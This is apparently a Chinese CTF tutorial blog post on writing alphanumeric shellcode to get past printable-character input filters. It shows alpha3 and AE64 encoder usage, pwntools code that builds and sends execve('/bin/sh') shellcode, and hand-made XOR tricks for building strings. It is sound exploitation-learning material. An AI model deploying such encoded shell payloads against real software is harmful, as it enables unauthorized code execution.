alphanumeric shellcode
alphanumeric shellcode(純字符shellcode)是比較實用的一項技術,因爲有些時候程序會對用戶輸入的字符進行限制,比如只允許輸入可見字符,這時就需要用到純字符的shellcode了。
原理很簡單,就是使用純字符對應的彙編指令完成shellcode的編寫,比如:
ASCII字符 | Hex | 彙編指令 |
---|---|---|
P | 0x50 | push %rax |
Q | 0x51 | push %rcx |
R | 0x52 | push %rdx |
S | 0x53 | push %rbx |
T | 0x54 | push %rsp |
U | 0x55 | push %rbp |
V | 0x56 | push %rsi |
W | 0x57 | push %rdi |
X | 0x58 | pop %rax |
Y | 0x59 | pop %rcx |
Z | 0x5a | pop %rdx |
其餘的就不一一列出了,本篇主要介紹使用工具編碼,手動編碼可以參考以下幾篇文章:
alpha3
這個工具源碼在google上,國內可以選擇從github下載。不過官方代碼在Linux環境下運行時有些問題:
% python ALPHA3.py
Traceback (most recent call last):
File "ALPHA3.py", line 4, in <module>
import charsets, encode, io
File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
import ALPHA3
File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
import x86, x64, test
File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.
看下報錯信息,發現錯誤在test/__init__.py
中,打開源碼,發現有個判斷平臺的代碼,如果不是win32
就報錯,解決方法很簡單,只需要把後兩行代碼註釋掉就行,修改如下:
if (sys.platform == 'win32'):
# ...
TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
# raise OSError("Unsupported platform for testing.");
再次運行就正常:
% python ALPHA3.py
____________________________________________________________________________
,sSSs,,s, ,sSSSs, ALPHA3 - Alphanumeric shellcode encoder.
dS" Y$P" YS" ,SY Version 1.0 alpha
iS' dY ssS" Copyright (C) 2003-2009 by SkyLined.
YS, dSb SP, ;SP <[email protected]>
`"YSS'"S' "YSSSY" http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________
[Usage]
ALPHA3.py [ encoder settings | I/O settings | flags ]
# ...
修改完之後還需要編譯源碼,但是編譯源碼的工具也在google上,如果懶得自己編譯,可以直接下載我修改版: https://github.com/TaQini/alpha3
git clone https://github.com/TaQini/alpha3.git
生成shellcode
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
將上述代碼保存成sc.py
放到alpha3
目錄下,然後執行如下命令生成待編碼的shellcode
文件
python sc.py > shellcode
默認生成的是x64的
sys_execve("/bin/sh",0,0)
,可以修改成其他的arch或shellcode
x64 alpha編碼
生成x64 alpha shellcode
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
或者用我寫的腳本:
./shellcode_x64.sh rax
其中輸入文件爲
shellcode
,rax
是用於編碼的寄存器(shellcode基址)
比如有如下代碼:
00101246 48 8d LEA RAX,[RBP + -0x410]
85 f0
fb ff
0010124d ff d0 CALL RAX
; ...
通過call rax
跳轉到shellcode
,那麼alpha3
命令中用於編碼的寄存器就是rax
shellcode
的起始地址存在哪個寄存器中,用於編碼的寄存器就是哪個
x86 alpha編碼
alpha3
中x64的shellcode
只要上述mixedcase
一種情況,x86的選項比較多:
- x86 ascii uppercase (數字+大寫字母)
- x86 ascii lowercase (數字+小寫字母)
- x86 ascii mixedcase (數字+大小寫字母)
用法與x64相似,不贅述啦~
全部編碼方式
alpha3支持的所有編碼方式如下:
Valid base address examples for each encoder, ordered by encoder settings,
are:
[x64 ascii mixedcase]
AscMix (r64) RAX RCX RDX RBX RSP RBP RSI RDI
[x86 ascii lowercase]
AscLow 0x30 (rm32) ECX EDX EBX
[x86 ascii mixedcase]
AscMix 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
ECX+2 ESI+4 ESI+8
AscMix 0x30 (i32) (address)
AscMix Countslide (rm32) countslide:EAX+offset~uncertainty
countslide:EBX+offset~uncertainty
countslide:ECX+offset~uncertainty
countslide:EDX+offset~uncertainty
countslide:ESI+offset~uncertainty
countslide:EDI+offset~uncertainty
AscMix Countslide (i32) countslide:address~uncertainty
AscMix SEH GetPC (XPsp3) seh_getpc_xpsp3
[x86 ascii uppercase]
AscUpp 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
[x86 latin-1 mixedcase]
Latin1Mix CALL GetPC call
[x86 utf-16 uppercase]
UniUpper 0x10 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
AE64
AE64是杭電的一位大師傅寫的工具,專用於生成64位的aplha shellcode。下載方式:
git clone https://github.com/veritas501/ae64.git
AE64的優勢在於編碼時可以更加靈活地使用寄存器,但是生成的alpha shellcode比alpha3要更長一些。
此外AE64是python寫的,可以直接在python中調用,以下是官方的栗子:
from pwn import *
from ae64 import AE64
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./example1')
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')
p.sendline(sc)
p.interactive()
手寫alpha shellcode
最近做題遇到的,限制比普通ascii shellcode嚴格所以無法自動生成
這裏只貼關於aplha shellcode的字符串生成的小技巧
字符串生成小技巧
異或法
英文寫的很蹩腳,但是應該能懂…
There are some techniques about generating string by ascii shellcode:
Ascii shellcode for generating string is as follows:
opcode(in ascii) | assembly instructions |
---|---|
hxxxx | push xxxx |
5xxxx | xor eax, xxxx |
X | pop eax |
H | dec eax |
Example
Example1: generating ‘/bin
’
- List a table of string generated by XOR
target | 1 | b | i | n |
---|---|---|---|---|
tmp1 | 1 | b | 1 | 1 |
tmp2 | b | 1 | i | 1 |
tmp3 | b | 1 | 1 | n |
- set
eax
to1bin
with ascii shellcode
ascii | instructions |
---|---|
h1b11 | push 0x31316231 |
X | pop eax |
5b1i1 | xor eax, 0x31693162 |
5b11n | xor eax, 0x6e313162 |
- generate
/bin
from1bin
; eax = 1bin
dec eax ; eax = 0bin
dec eax ; eax = /bin
Example2: generating ‘//sh
’
- List a table of string generated by XOR
target | / | / | s | h |
---|---|---|---|---|
tmp1 | 1 | w | 1 | P |
tmp2 | w | 1 | A | 1 |
tmp3 | 1 | X | 1 | 8 |
tmp4 | X | 1 | 2 | 1 |
- set
eax
to//sh
with ascii shellcode
ascii | instructions |
---|---|
h1w11 | push 0x31317731 |
X | pop eax |
5w1A1 | xor eax, 0x31413177 |
51X2P | xor eax, 0x50325831 |
5X118 | xor eax, 0x38313158 |
減法
方法來源ref: binLep師傅
同題我的解法: pwn6
asm('sub byte ptr [rsi + 0x2f], dl')
# '(V/'